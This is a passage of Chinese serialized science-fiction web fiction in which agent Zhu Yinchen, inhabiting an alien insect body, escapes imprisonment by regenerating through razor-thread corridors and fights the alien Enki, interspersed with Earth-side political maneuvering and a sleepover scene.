通道的尽头慢慢变得亮起来,一束光打进来,恩基向前走去。祝吟辰默默跟上。通道外是一间整洁的房间,看上去跟安提的房间差不多,但空间要更小一些。
祝吟辰环顾四周,没有看见安提的影子。祝吟辰有些茫然,她转过头,看着恩基问道:“你带我来这里做什么?”
恩基瞥了一眼祝吟辰,轻轻叹了口气,“你的精神状态很不好,就不要说话了,也不要有疑问。”恩基转过身,临走到门口时,留下一句“从今往后,你就安心住在这里吧。”便关门离去。
“……”
祝吟辰躺到床上,这里没有他者的气息,看来一直是无人居住的地方。刚才她们一路走来,都没有遇见别的阿努,直接就走到了供居住的房间里,这里极有可能是恩基自己私有的住地。
看来,她现在所在的就是菌群的底层,如果后面想要逃出去,就要面临对抗整个菌群的风险。不过如果恩基把她和安提的存在隐瞒了下来,那么要烦恼这件事的就不只是她一个人了。
祝吟辰试图再思考下一步的方案,但是疲惫和饥饿一阵阵地传来,也许恩基是对的,现在最重要的是休息。
祝吟辰强撑着力气站起来,一步步挪到管道边上,试图去扭转上面的阀门,食物和清水慢慢流了出来,她赶紧拿了一个盘子接住,心里徒然轻松了许多。狼吞虎咽地吃完食物,祝吟辰躺在床上,沉沉睡去。
……
接下来的一连几天几乎都是这样度过,或许不只是几天,但她逐渐算不清时间,这里除了墙壁上镶嵌的一些发光矿石外没有别的光源,起先她试图在墙上刻标记来记录时间,但这些标记在某一个疏忽的节点被打乱,于是她放弃了记时,专注于研究逃出去的方法。
然而当她打开门,门外是无穷无尽的银色丝线,每一寸都如刀刃般锋利,她伸出指尖轻触了一下,表皮立刻泌出颗颗血珠,伴着针扎般的疼痛。
她试图通过管道爬出去,但每一条管道仅拳头般大小,贯穿过坚硬的墙壁,连稍微挖宽一点管道半径都毫无可能。
她在房间里从早上转到晚上,每分每秒都在思考逃出去的方法,毒液、肘镰、撕咬、蛮力……毫无用处。
绝望是慢慢爬上心头的,随之而来的就是麻木和恐惧。
祝吟辰坐在房间地板上,一只手无意识地抓着头发,另一只手在地板上疯狂地抓挠,她看上去一如既往的坚定,只是这坚定里多了几分恐惧和茫然。
时间……过去了多久了?
难道她要一辈子住在这里吗?安提现在怎么样了,她还活着吗,她现在在哪里?
真的有办法可以从这里逃出去吗?
【总部发来通知,请于今日最后期限内回溯报告】
祝吟辰的眼睛猛然睁大,仿佛抓住了深渊里的最后一丝光亮般,她一下子站起来,身板挺得直直的,聚精会神地听着系统的声音。
【总部发来通知,请于今日最后期限内回溯报告】
【收到】
祝吟辰点击确认,她瘫倒在床上,长出一口气,竟有些劫后余生的庆幸,然而又立刻感到深深的焦躁不安。
七天就这样白白地过去了,什么突破都没有……算了,就现在吧。
她闭上眼睛,意识如轻烟般上浮,身体一寸寸沉落下去,熟悉的感觉渐渐传来,她越来越习惯意识传输的感觉了。
……
“祝吟辰少校,你的意思是说,你这六天什么也没干,就一直被囚禁到现在?”
“是,我尝试了目前所能想到的所有办法,没有一个有作用的。”
“呃,你尝试过毒液吗?”
“是的,但没有作用。”
“那些外骨骼结构的刀刃呢?你肘部弯弯尖尖的那个什么玩意儿来着……
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”
“肘镰,是的,但没有作用。”
“那么你有没有用那个——”
“好了,”杨威主席打断总指挥的话,他对着祝吟辰点点头,语气沉稳而严肃:“祝吟辰少校,你的报告就到这里吧,从今天开始,你暂时先留在蓝星待命,等特工局想出新的办法了,你再继续执行新的方案。”
“是。”
如以往的流程一样,祝吟辰被几个执行人员送回了家中,看着空荡荡的家,祝吟辰来回踱了几步,也不知道该干什么好,能够想到的办法她已想尽,剩下的就交给特工局的同事们吧。
去奕川的小公寓看看阿图特?
那就去吧。
她是一路走过去的,仿佛要补偿这七天的空白似的,一路上她一直在看,看城市建筑的玻璃外墙反光,看各式各样的广告牌,看路边石缝里的杂草,看太阳一点点陷落、低下去,整个城市铺上一层光辉灿烂的金色纱幔,夕阳的余辉打在各个建筑上,折射出耀眼的光芒。
临近六点,不知不觉就走到了,祝吟辰轻轻敲了敲门,门里似乎响起什么动作,不一会儿,门被打开,一个陌生的女孩站在门口,挑着眉头打量着她。
祝吟辰伸出手,正欲自我介绍,女孩却微微一笑,打开门,“我知道你,祝少校,奕长官说过你可能会来。”
祝吟辰愣了一下,女孩却上前一步,热情地抓住她的手腕往里带,“我们正好在吃饭,就差你一个了,快来快来!”
“谢谢。”
客厅里就坐着阿图特一个虫,听到有人进来,头也不抬,仍然窝在沙发角落里,怀里抱着一个枕头,聚精会神地盯着屏幕。
祝吟辰看到客厅里就一个阿图特,心底徒然窜上一种逃跑的冲动,但陈立新拉着她,她只能尴尬地坐下。
桌上摆着火锅和小菜,陈立新一边往锅里下菜,一边说道:“我叫陈立新,是个大学生,目前在奕长官手底下做事。这一带的据点和这个公寓都由我负责,你以后有什么事的话,可以来这里找我。”
“好的,谢谢。”
“没事。”陈立新分好碗筷,抬手在阿图特眼前晃了晃,后者熄灭屏幕,安安静静地坐到桌旁,陈立新笑了笑,“好了,开吃吧。”
两人一虫一边吃着饭,一边聊着这几天AGPC发生的事情,祝吟辰把十二主席选举大会的事情听了个大概,若有所思地点点头。
陈立新夹了一块肉,对着祝吟辰大谈特谈:“……依我看,这选举实际上没什么作用,弄了半天,也就新上了一个明星,一个搞软件开发的,一个搞赌场的,太容易落着把柄了,翻遍身家独独一个钱字,执行处把住所一围,就乖乖听话了,自身都难保,还保得了人们的话?执政官们的新玩具罢了。”
祝吟辰心想这孩子还挺健谈的,说道:“也许他们背后不仅仅是表面的这些产业,能够选上主席的人,实力还是值得肯定的。”
陈立新翻了个白眼,“那岂不是更不能相信他们了。”
“为什么这么说?”
“因为如果真的像你说的这样,那么我们就是十二主席的玩具了。”
听到这话,祝吟辰若有所思,房门突然被轻轻敲响了三下,屋内的两人吓了一跳,阿图特仍然专心致志地往锅里捞着肉,陈立新连忙跑过去开门。
奕川站在门口,却不进来,她转过身说了句什么,陈立新才看到她背后还站着一个少女。
原来外面已经下起了大雨,少女看起来甚是狼狈,一身水淋淋的,苍白单薄的一片,犹如一个透明的幽灵。
奕川的衣服也湿了一大片,她向少女伸出手,好像在极力邀请她进来,少女犹豫了一会,慢慢地拉住她的手。
陈立新让开身子,脸上还挂着疑惑的神情,奕川带着身后的人迅速钻进门来。
阿图特似乎嗅到了陌生的气息,她抬头盯着女人,过了几秒后,似乎确认了对方没有威胁,又低头专心吃肉。
祝吟辰吃惊地看着两个人狼狈的样子,奕川看见她,尴尬地笑了一下,接过陈立新递来的毛巾,解释道:“说来话长……我刚开了个女生宿舍夜谈会。”
18. 迷雾一线光,雨夜照影来
待到奕川和少女洗完澡,陈立新和祝吟辰已经备好宵夜了。四人一虫都换了睡衣,围坐在卧室地摊上,似乎是要确确实实开场女生宿舍夜谈会。
祝吟辰一边把地毯铺平,一边说道:“我还以为你是在开玩笑。”
“我确实是在开玩笑,”奕川苦笑了一下,“主要是今天晚上这里的女生还挺多的……”
“我准备好了!”陈立新兴奋地打断了两人的话,她拧开一瓶汽水问道“今天晚上要聊什么?”
“……呃,”奕川尴尬地扶了一下眼镜,还来不及想到些什么读书时的夜宿话题,阿图特却先开了口,她带着些不满地盯着雨夜突现的陌生少女,硬邦邦地问道:“你是谁?”
气氛在这一声不满中安静下来,奕川惊讶地叫了一声,可能是一路上太疲惫,竟然忘了介绍,她连忙坐到少女身边,介绍道:“这是屠一鸿小姐,是萧衍的朋友。”
少女点了点头,她长着一张清秀白皙的脸,栗色卷发下一双澄澈的眼睛静静地望着众人,仿若一个精致美丽的人偶一般,从进来到坐下,她一直保持着疏离的态度,沉默不语,几乎使人忘记了她。
“屠一鸿……好霸气的名字,话说你为什么——”陈立新正想问对方为什么会跟着奕川来到这里,却看见了奕川眼神里似乎在暗示什么,于是按下心中疑惑,嘴里的话打了个急转弯:“会有这样一个霸气的名字啊?”
屠一鸿微笑着回道:“我妈妈取的。”
“真好,我也是。”祝吟辰突然接过话头,面前这个纤弱精致的少女,看到她脸上因为谈到母亲而松动的那一瞬间,不知为何,心中浮起一种别样亲切的感情,好像她们说的是同一个母亲似的。
屠一鸿迎上祝吟辰的眼神,礼貌地点点头,仿佛在等待她们开启新的话题。
阿图特低头吃起肉干,陈立新立即转移起注意力,拉着四人滔滔不绝地聊起中学时的事情来。
……
凌晨三点,众人躺在地摊上,横七竖八地睡着了。
祝吟辰却睡不着,她本来就才刚起床——在阿努特纳星刚起就来了,此时正精神抖擞,毫无睡意。
见众人皆睡着了,她小心翼翼地掀开身上的毯子,悄悄地站起来,却看见角落里躺着的阿图特猛地睁开眼,不满地瞪了她一眼。
虫族的感知能力真是强大啊。
祝吟辰尴尬地踮起脚尖,蹑手蹑脚地挪到门边上,身后却轻轻响起一声“哎,等等”她回过头,奕川已经半坐起身,用口型示意她等等自己。
在阿图特不满的眼神里,二人偷偷溜出房门。
她们来到三楼的阳台上,靠在栏杆上,望着夜空下的大学城,天空和建筑一抹黑的一片,远处残余的几点灯光熄灭下去,整个城市正在沉睡。
奕川递给祝吟辰一根烟,祝吟辰犹豫了一下,摇头拒绝,问道:“你也睡不着?”
“你快回去了,跟你通个气。”奕川收起烟,吹着夜晚的凉风醒神,祝吟辰却摇摇头,“我暂时不回去了。”
奕川惊讶地看着祝吟辰,祝吟辰继续说道:“任务对象被她以前的上司抓走了,我现在也被囚禁,还没找到出去的方法,星际特工局的同事们正在想办法。”
“这样啊,”奕川若有所思地点点头,问道:“怎么被抓住的?”
“不记得了,一回想就头疼,好像天变红了,然后就,呃,很混乱,想不起来。”
“真可惜,我不太了解星际外族的事情,帮不了你什么忙了,但是如果我身边有了解相关方面的人,我一定立刻推荐给你。”
“没事,星际特工局的同事们都很靠谱,相信要不了几天就可以出新方案了。”祝吟辰笑了笑,奕川正要再说些什么,嘴巴一张,却忍不住打了个哈欠。
祝吟辰赶紧劝道:“你快回去睡觉吧,其他的事我们有时间再商量。”
奕川点了点头,正要回去,突然想起什么似的,回头问道:“对了,你以前见过屠一鸿吗?情报传来她是萧衍从无人区带回来的,但是我们在无人区缺少线人,不太确定其中真假。”
祝吟辰摇摇头,“我和萧衍只在三年前共事过半个月,那时候没见到他身边有屠一鸿,其他的时间段不太清楚,如果你们需要帮忙,我可以托我以前的同事去查一下。”
“那太好了,谢谢你。”
“快去睡觉吧。”
……
陈立新的生物钟很准时,她睁开眼,时间刚好停留在六点半,以惊人的速度完成了洗漱穿衣后,她回到房间想叫醒其他人,却发现屠一鸿和祝吟辰已经离开了,奕川和阿图特睡得正香。
她备好早餐后,叫醒睡着的一人一虫。
“起床了!”
阿图特从被子里伸出半个脑袋,生气地瞪她一眼,把头埋进被子继续睡觉。
奕川迷迷糊糊地坐起来,四处摸索眼镜。
“……”
洗漱完毕,奕川美滋滋咬下一块面包,今天周末无事,实在好过。
陈立新迫不及待地问:“昨天晚上你带回来那个屠一鸿是怎么回事?”
“萧衍在外面找了女人,她和萧衍吵了一架,离家出走被我遇到了,外面在下大雨,她又没有钱住酒店,我就把她带回来了。”
陈立新皱起眉头,若有所思,“奇怪了,我看她不像是会做出这种事的人啊。”
奕川一边喝茶,一边笑道:“一面之缘,你有多了解人家?”
陈立新撇撇嘴,不说话了,似乎是食物香气的作用,阿图特总算愿意起床了。
“阿图特,要先刷牙才能吃饭!”
……
时间一天天流逝过去,祝吟辰在家里住了快半个月,期间来来往往小公寓,新十二主席的事情了解了七七八八,星际特工局那边却一直没有下落。
她等得有些着急了,去星际特工局去询问进展,联络人员也无奈地一摊手:“主要现在局内还在争吵合适的方案,我们主要认为可以量子传输破坏筒和炸弹过去,让您炸开通道逃出去,但总部那边一直在干涉,我们目前还在商量新的办法。”
“干涉什么?”
联络人员看了看周围,低声说道:“周明主席最近提出要重修阿努特纳斯计划,说是原方案的生效时间太长了,且要消耗大量金钱和技术能耗,直接进行远距离武力打击才是最具性价比的方案,总之,他想让
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您退出任务。”
祝吟辰惊诧地看了联络人员一眼,对方扭过头继续工作,装作无事发生的样子,祝吟辰道谢后快步走出大楼,心中思绪纷扰。
绝对不能让他们得逞。
如果周明的方案被通过,即使虫族的实力确实很强大,但阿努特纳星上的其他生物连同虫族都必然遭受一定程度上的打击,双方一旦结仇,不仅红派的计划会很难推进,自己也会提前被捕入狱,而安提……可恶,安提现在到底在哪里?
伊南娜是不是故意引她们进入空居的,就为了让恩基来将她们一网打尽?
可是她完全没必要这样做,该死,这一切到底是怎么回事,那个叫不出来的名字,意识里那些乱七八糟的鬼东西,怎么也逃不出去的房间,到底要折磨她到什么时候?!
“你好。”
前面突然响起熟悉的声音,祝吟辰猛地回过神来,惊诧地抬起头,那个幽灵一样纤弱苍白的少女挡在自己面前。
屠一鸿,她的一双眼睛平静地看着自己,好像望进自己内心一样渺远。
不知为何,祝吟辰心中有些隐隐的防备。她怎么出现在这里?
“你好,请问找我有什么事吗?”祝吟辰礼貌地伸出手,屠一鸿却不为所动,她直勾勾地盯着她的眼睛,微笑着问道——
“是银白的丝线吗?”
祝吟辰瞳孔猛地一紧,一把抓住屠一鸿的手腕,低声压抑着问道:“请问……你是什么意思?”
屠一鸿吃痛,却不挣扎,她认真地看着祝吟辰的表情,似乎在观察些什么,两人僵持了一分多钟,看着祝吟辰越来越焦躁,屠一鸿突然聚拢双手,捧在心口处,闭上眼睛,仿佛许愿和祈祷一般,静静地伫立不动了。
祝吟辰正要再问,耳边却突然传来一声男人的暴喝——
“放手!”
一只手猛地抓住她的肩膀,她下意识地反身躲过,弓肘向后痛击,对方发出一声闷哼,退开几步,祝吟辰回头看去,萧衍捂着腰,微微弓着身子,眉头紧皱着,眼底满是暴戾仇恨。
他慢慢直起身子,冷冰冰地看着祝吟辰,“你在对她做什么?”
祝吟辰下意识看了屠一鸿一眼,不知道是否是她的错觉,那双澄澈的眼睛里,一种令人不寒而栗的、恶毒的阴鹭一闪而过,而后又恢复了纯真,屠一鸿天真无邪地看了一眼祝吟辰,立刻跑到萧衍身边去,紧紧地拥抱住他。
看到屠一鸿又变得乖巧顺从起来,萧衍心中平静了许多,他轻蔑地瞥了一眼祝吟辰,语气充满厌恶,“管好自己的手,什么身份敢碰我的女人,给我滚远点。”
祝吟辰忍不住怒上心头,但一想到未来还要和他在红派合作,只好压下心中怒火,只开口道:“呵,落选后还不清楚自己的斤两吗,还有资格轻蔑别人的身份?”
好像也没压下……
萧衍正要发作,却见祝吟辰眼神凌厉,手已经按在在腰间配枪上,默默掂量了一下对方的实力,只好暂时罢休。他冷哼一声,带着屠一鸿转身离开。
祝吟辰目送他们远去,内心的疑惑越来越重。
屠一鸿好像知道些什么,她刚刚捂着心脏,是在暗示些什么吗?
19. 蛛网零落,逃出生天
【总部传讯,请于下午两点准时到联合会议室参加会议】
【收到】
祝吟辰点击确认,今天是离开阿努特纳星的第二十一天,她坐在沙发上,神色疲惫,双眼布满血丝。
就这样愣怔怔地坐到了快两点,她起身穿上大衣,出门参加会议。
走到联合会议室门口,就已经听到了里面传来激烈的争吵声,祝吟辰走进门,所有人突然不约而同地看了她一眼,然后继续投入方案的争辩中。
周明的威望在AGPC壮大得异常快,大家都知道他手握着几乎整个下邦和联合城邦目前的能源储备,如今上位十二主席,提出的方案就是他当官的第一把火,这把火能不能燃旺了,严重关系着他周明今后在十二主席中的权位。
这场看似为了全人类利益考虑,实则是十二主席内部斗争的战役,每个人都拭目以待最后的胜负。
祝吟辰坐到自己的位置上,看着同僚们激烈地争辩,时不时偷偷瞥自己一眼,疲惫和迷茫一阵阵涌上心头。
三天三夜过去了,她始终没弄懂屠一鸿的暗示,反复重复着那个聚拢双手、捂着心口的动作,猜测不知道是否正确的暗示让她精疲力尽。
难道就要这样任人宰割了吗,就这样等着周明和杨威他们拿自己和安提,乃至整个阿努特纳星当作他们党争的筹码?
不,她绝不可能接受这样的命运。
“抱歉,各位,我想我遗漏了一些事情。”
祝吟辰突然按下了屏幕,会议室的大屏切屏出现她的脸,所有人连同台上刀光剑影的十二主席都齐刷刷地转过头盯着她。
祝吟辰也没想到自己会如此冲动,脑袋里顿时一片空白,她强作镇定,面色平静地说道:“我在阿努特纳星的时候,忘记了搜查地下室。”
人群顿时炸开了锅,趁着周明还没反应过来,总指挥急忙喊道:“我就说肯定有什么手段没用过,祝少校,作为无人区特遣部队出身的军人,你严重辜负了全人类的信任!”
“抱歉,我——”
“但是人类愿意再给你一次信任!”总指挥斩钉截铁地说道,他猛地灌了一大口茶,周明恶狠狠地瞪了总指挥一眼,正要插话,总指挥张开嗓子更大声地喊:“各位同僚,我们从战后的分离与争斗,到今天又重新聚在了一起,靠的是什么?是我们每个人心中对文明和和平的渴望,靠的是人与人之间的相互信任……”
周明咳嗽了两声,AGPC科技管理局的袁立袁主席上前两步,“哎呀,话是这样说没错,但是就实际而言,最新的方案是最利于我们的这个财政和……”
在场的所有人听着总指挥和袁立的争辩,祝吟辰看见杨威向自己使了个眼色,她下定决心,再次说道:“对于我的疏忽,我感到非常抱歉,今后我会努力做好自己的职责,不辜负人类的期望。我请命,即刻连接宿体,我会尽快完成搜查,找出出口,继续执行任务。”
听到这话,会议室慢慢安静下来,周明突然发声:“你确定你可以找到出口吗?”
他沉着脸,眼底划过一道阴郁的光,阴恻恻地看着祝吟辰。
祝吟辰肯定地点了点头,她站起身,行了个庄严的军礼,眼神凌厉,“不负人类的荣光!”
“即刻出发,祝吟辰少校,给你一天的时间搜查,人类等着你的胜利。”杨威终于发声,他稳稳当当地坐在位子上,这种总结性的时刻,往往出场的是他这种说一不二的领头人,他一挥手,几个执行人员立即把祝吟辰送出场外,再不容周明有周旋的余地。
……
接上装置,躺在舱体里,祝吟辰闭上眼睛,久违的感受传来,温暖的液体慢慢上升,漫过身体……
双眼睁开的一瞬间,她立即从床上坐起身,四处搜查。
屋内的家具和地面积了一层浮尘,床底下,浴室,每一面墙壁,每一个角落……连同几根狭小的管道一起,还是记忆里的样子,沉默地熄灭她的希望,祝吟辰的心一点点沉落下去,那种铺天盖地的绝望再次涌来。
她压抑住心底的慌乱,抱着侥幸,仍然坚持着翻找了一轮又一轮。
不知道过了多久,还是一无所获,她走到门口,怀着最后一丝希望打开房门——无数条丝线闪着冰冷锋利的寒光,布满了整条走廊,一直通往未知的黑暗中去。
她靠着房门,一点点滑落下去,静静地坐在地上。还有什么办法吗?
真的还有吗?
不能放弃……决不能放弃!安提还在等我,整个阿努特纳星都在等我,决不能让无穷无尽的暴力和战争再次成为人类所谓进步的手段。
那些因为战争的污染而死去的生命,在过去的七年里我已经见了无数次,这一次,我决不能再让类似的悲剧再次发生!
如同死灰复燃一般,心中的那团火焰再次点燃,祝吟辰站起身,再次重复那个重复了无数次的动作——聚拢双手,捧在心口处,闭上眼睛,静立不动。
神奇的事情发生了,随着她将几乎全部的精神力专注在心脏处,祝吟辰感到身体里的毒液和那种疗愈的纯净能量被大股大股地泵出,开始活泼地涌动起来,流水般流通身体的每一个器官,连通了每一个细胞,感知的能力骤然上升,地面的微小尘埃、原木家具的木质香气和门外丝线微微颤抖的细微鸣响都清清楚楚地被她知晓。
祝吟辰就这样坚持了一分多钟,满头大汗地停了下来,她喘着气,看着自己的掌心,似乎是因为刚才催动了身体的感知极限,掌心居然同时泌出了无色透明的毒液和一种乳白色的液体——跟她身体里那种疗愈的能量有着相同的气息。
毒液她之前已经试过了,并不能融化丝线,至于这种乳白色的液体,暂且管它叫纯露吧,对于丝线大概也没有什么作用。
祝吟辰犹豫了一下,还是走到丝线前,把纯露滴在上前,但意料之中的,并没有什么变化。
她低头看着自己的掌心,毒液居然渗透了铠甲,正在侵蚀她的血肉,纯露又一点点地恢复着伤口处细胞的生长,看来刚才的感知不仅仅催化了毒液的生长,还强化了它的毒性。
或许是几十天以来持续不断的焦虑催生了一种疯狂,祝吟辰看着自己的掌心,细胞被反复侵蚀又生长恢复的样子,伤口溢出的血液滴落到地上,如同热烈绽放的黑色玫瑰,一种可怕的想法在心里疯狂蔓延,身体逐渐颤抖起来,似乎□□比意识更害怕。
她瞪着渐渐发红的双眼,将手掌放到悬着的丝线上,然后慢慢划下——手掌渐渐被切开,血液从伤口里喷涌而出,染红了整个地面,巨大的痛苦冲击着精神,但她仍然没有停下。
丝线卡到手掌一半的时候,身体颤抖得更厉害了,祝吟辰突然很想笑,她大口喘着气,强撑着集中意识控制毒液和纯液在身体里的走向,任由表情不受控制地又哭又笑。
慢慢的,手掌被切开的上半部分延伸长出新的血肉,新的伤口撕裂开,新的血肉长出来,当
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整个手掌穿过丝线的时候,划过的地方已经生长出了新的,一个完整的手掌,血淋淋地,就在那里。
“哈……哈哈哈!”
祝吟辰脸上的神情逐渐癫狂,她狂笑起来,看看自己的手掌,又望向深不见底的丝线通道,一直通往未知的黑暗里去,绝望和希望同时冲击着内心——是等死,还是去死?
割不断丝线,就让丝线割断自己吧。
祝吟辰冲到管道面前,拧开开关噼里啪啦接了一大堆食物,菌落和肉层层叠叠摞在一起,她狼吞虎咽地吃起来,在行动之前,她要摄入足够的能量。
断头饭一般,感到有轻微的饱腹感后,祝吟辰放下盘子,平静地走到门外,身前悬着几根离她不足两尺的丝线,闪着锋利的寒光,死神的凝视般,紧紧地盯着她。
她背对屋内,决绝地关上了门。
……
已经过去多久了?从一开始的极度的痛苦,到逐渐有一点点麻木,她已经可以逐渐加快纯露的生长速度,也有了一些经验。
用爬比用走要少切很多次,先生长心脏,再生长大脑,最后才是四肢,如果是四肢先穿过去,那就先只生长切口的骨肉,把肉块吊起来,等重要的器官穿过丝线了,再生长末端的皮、肉、血管……,如此反复。
撕裂贯穿的疼痛、切割伤口流血连同金属丝线刮搓骨头的感觉,都慢慢成为一种希望,告诉她,她还活着,心脏还在跳动,神经还有清晰的感知,四肢也在不断前进。
穿过重重交织的丝线,通道内的黑暗中闪着锋芒,如同夜晚的繁星灿烂,指引她不断向前,她知道那黑暗尽头就是渴求的光明,是安提,也是整个阿努特纳星的生死存亡。
视野上方慢慢流淌下鲜血,一根丝线模糊地卡在视野中央,好像是眼睛还没长好,她努力控制纯露,让它沿着这条丝线慢慢流到切口去,大脑的生长需要格外警惕,一丝一毫也不可懈怠。
慢慢的,前方似乎出现了岔路,她停下来试图思考,但大脑左侧还没长好,肺里的空气好像跑出去了,于是她先控制住肺部和呼吸道的生长,小心翼翼地呼吸着,睁大眼睛努力观察周边的环境。
呼——吸——、呼——吸——、……
左边通道口里看上去更亮一些,那是菌落在黑暗中散发出的荧光,之前恩基带她走过来的应该就是这一条通道。
如果继续走这一条路,肯定会走回之前的菌落洞穴里,看来只能走右边通道了。祝吟辰撑起身体,努力向右边爬去。
……
下午一点半,联合会议室里氛围肃穆,每个人都屏息凝神地坐在座位上,等待着祝吟辰传来的消息。
如果她没找到出口,逃出菌群的话,她就必须准时在两点回溯蓝星,整个AGPC也不得不接受周明和他的势力提出的新方案。
时间一分一秒过去,眼看大屏上的数字一板一眼地跳动着,五十、五十一……
零——
众人齐刷刷地看向会议室中央星际特工局的联络员,联络员一头的冷汗,紧张地戴着耳机,大屏上没有任何显示,时间自然而然地跳到了两点零一分。
联络员抬起头来,虚脱一般,对着众人说道:“她没有回来。”
会议室发出一片惊叹,杨威带头鼓掌,周明脸上勉强撑起一个笑容,也跟着鼓掌,会议室里气氛逐渐松动下来,众人议论纷纷,都庆幸十二主席第一次内斗的落幕。
她逃出去了。
20. 以她之名,行我之意
天际浮起一片灰暗的浊色,带着慢慢的扩散开来,一点冷的猩红从天幕中心现出身来了,浸入周际的暗沉,显出一片阴沉的赤色。
夜潮寒冷,宣告着阿努特纳星冬季的来临。
为整个虫群做好过冬的准备是菌群的当前大事,恩基已经为此不眠不休地熬了二十一个夜潮的涨落,布置菌落的运输路线,安排好运输的分队,提前与虫群的不同部门做好沟通联系……她有条不紊地做着这一切。
忙完眼前的事情,恩基起身,准备去睡一会儿养养神,还没走两步,却似乎听见什么东西隐隐作响的声音。
恩基微皱眉头,侧耳仔细倾听,却又没了声响。
算了,去睡吧。
走进卧室,这里没有床,更像是一个光秃秃的洞穴。
恩基向虚空中伸出手,指尖慢慢地延伸出一条丝线,丝线长长地生长开去,卷裹着,浮在洞穴的中心团成一团混沌的黑,恩基就这样随着这根丝线融化开去,手臂、腹部、下肢……最后是猩红的眼睛,被吞噬掉的那一刻,它就在混沌中睁开了,在虚空的凝视中沉眠去。
然而状态并不稳定,恩基几番尝试睡去,却总感觉有什么东西附着在她身上,缓慢地四处爬动,粘稠的液体滴落下来,一股恶心的气息让她发呕。
气味越来越浓厚,恩基渐有些焦躁起来,简直像糊在她鼻子上似的,隐隐约约的,奇怪的声响也越来越大。
恩基警惕起来,她猛地一挥手,混沌迅速缠绕化作她的身形,听觉恢复的那一刻,书房里蓦地爆发出一阵巨大的轰鸣,血腥气混着爆破的烟尘袭来,恩基面上浮现难以置信和厌恶的神情,紧接着眼底划过一抹狠色,她原地化作一滩黑水,向书房的方向蔓延冲去。
房内座椅和其他家具四分五裂地倒在一边,地板破了一个大洞,照明用的矿石也坏了几个,在忽明忽暗的烟尘中,恩基化作人形,她看见一双银白的眼睛,蜡烛般流淌下去,新的组织又肉眼可见的生长出来,箭矢般穿过滚滚尘烟,目光如炬地看着她,她渐看清了——是那个阿努!
一声微妙的声响,一记饱含杀意的膝踢近在脸侧,恩基闪身避让开,身形化作无数的丝线,射线状瞬间将祝吟辰的心口贯穿!丝线带着血液穿过,落在地上,缠绕成恩基的身形,恩基不紧不慢地转过身,想看看对方的死状,却见祝吟辰还站着,胸口处密密麻麻的血洞正在缓慢地愈合,刚刚碎裂的心脏又重新生长、跳动。
……什么?
恩基难以置信地看着祝吟辰,祝吟辰转过身,眼神凛冽如两点寒星,她盯着恩基,浑身血淋淋的,如同地狱里脱出的罗刹恶鬼,一字一顿地问到:“安提在哪里?”
恩基冷哼一声,她一挥手,身形散去,混沌的黑渐渐褪去,化作千百道银白的丝线,紧紧地缠裹住祝吟辰,似乎要把她再次拖进黑暗的地底牢笼似的。
祝吟辰挣扎了几下,发现挣脱不开,心中暗道不好,这里不能久留,趁着身体还没被完全缠住,她使出全身的力气。拼命向房门撞去!
砰——!
静谧幽深的夜色被这巨大的轰鸣震动,整个菌群微微颤抖了几下,沉睡的阿努们惊慌失措地醒来,纷纷打开房门冲到通道里,面面相觑着,看向声音传来的地方——菌群的最深处,恩基的住处。
恩基看着祝吟辰冲出去的身影,心中一惊,她急忙冲上去想拉住祝吟辰,对方却果断地自断臂膀,不顾喷溅出来的血液,头也不回地跑出了门。
丝线拖着残肢到恩基面前,浓稠的血腥气扑面而来,恩基忍不住干呕了一下,丢下残肢,顾不得之后要怎样向整个菌□□代,带着一腔怒气追了出去。
祝吟辰逃出恩基住所,丝线一追上来就自断再生,一路畅通无阻,直接冲到了菌落培养基地。
她停下脚步,看着五彩斑斓的孢子,飘逸着拂过发着梦幻荧光的菌落,如同一个梦的乐园。
几个洞口发出窸窸窣窣的声音,几个阿努在洞口探出头来,打量着她这个陌生的同族。围过来的阿努越来越多,她们带着疑惑和警惕的眼神盯着她,慢慢的走进洞来,一圈圈将她包围。
几条丝线猛地穿过来,祝吟辰眼神一动,抓住丝线的一头,丝线刹那缠绕成形,恩基紧紧地抓住祝吟辰的手腕,感受到周围阿努们询问的眼神,面上不禁有些尴尬的扭曲。
祝吟辰看着身边的虫越来越多,脸上逐渐浮出决绝的笑意。
这里是菌落培养的基地,离地面还有足足一千米左右的距离,整个菌群压在头上,逃出去的可能微乎其微。
她没有和恩基谈判的资本,想要找到安提,唯有拼死一搏,逃出生天。
祝吟辰猛地断开手腕,后撤身位,恩基有了经验,闪身避过伤口里喷涌的血,指尖丝线已经射出去,死死拉扯住祝吟辰的头颅,却见眼前一黑,大股血液居然有生命一般扑回来,恩基顿时被泼得血淋淋的一身,紧接着皮肤传来强烈的刺痛感——那股血液里含着毒液!
恩基退后几步,发出恶心的干呕声,周围的阿努们见事情不妙,纷纷做出战斗的姿势,肘镰上闪着寒光,几只凶猛的阿努率先上阵,闪电般冲向祝吟辰。
祝吟辰以一对多,交战间不慎身侧撕裂开几条伤口,毒液在伤口腐蚀发黑,血液涌出,祝吟辰痛苦地闷哼了几声,她猛地踢开一个阿努,又喘着气挡下一记刺向心脏的锋刃,身上冒出阵阵冷汗,周围的阿努们看了看一个个传着眼色,纷纷加入这场猎杀。
“够了,孩子们,退开吧。”
阿努们愣了一下,看到恩基已经恢复过来,相互看了一眼,都纷纷向后退去,只留下伤痕累累的祝吟辰和恩基在圈内。
恩基居高临下地看着祝吟辰,眼底两点猩红冷冷地盯着祝吟辰,她抬起一条手臂,指尖指向祝吟辰的眼睛,对着虚空默诵——
“她说,把流血的聚集起来,让它们流通。”
空间静止了一瞬,然后突然倒转,地面翻到上方,洞顶沉到下方,恩基的身影化作无数条丝线,将周围的空间包围成一个球体,黑洞一般振鸣着,不断地压缩、膨胀,仿若血管聚成鼓动的心脏。
祝吟辰眼看着周身被丝线结成的黑暗笼罩,心中一惊,想冲出去,膝盖和关节却猛地被几条突然射出的丝线钉穿,蛛网般将她困住。
“我说,把生长的切割开来,让它们自由。”
下一秒,祝吟辰感到左肩传来一阵剧痛,她忍着剧痛看去,风暴般的丝线层层叠叠碾压过来,左臂迎刃而解,齑粉般随风散开去了,丝线绞碎最后一点飘散的细胞,突然转了个弯,铺天盖地地袭来。
她刹时呆愣住,仿佛看见自己一点点分解、死去的未来。
“我说,把飘洒的聚拢起来,让它们合一。”
祝吟辰闭上了眼睛。却见下一刻,一道凛冽的寒光自上方猛劈下,巨大的力量崩碎了整个空间,地面倒转过来,祝吟辰倒在地上,她睁开眼睛,看见一丝光亮从空间崩裂的缝隙中照射进来,仿佛生的希望一般,一个身影落在她身边,将她轻轻抱起。
阿努们惊讶地面面相觑,那个突然杀进恩基所造黑域,护着陌生外敌的,是安提?
她们发现她不见后,找了她很久。
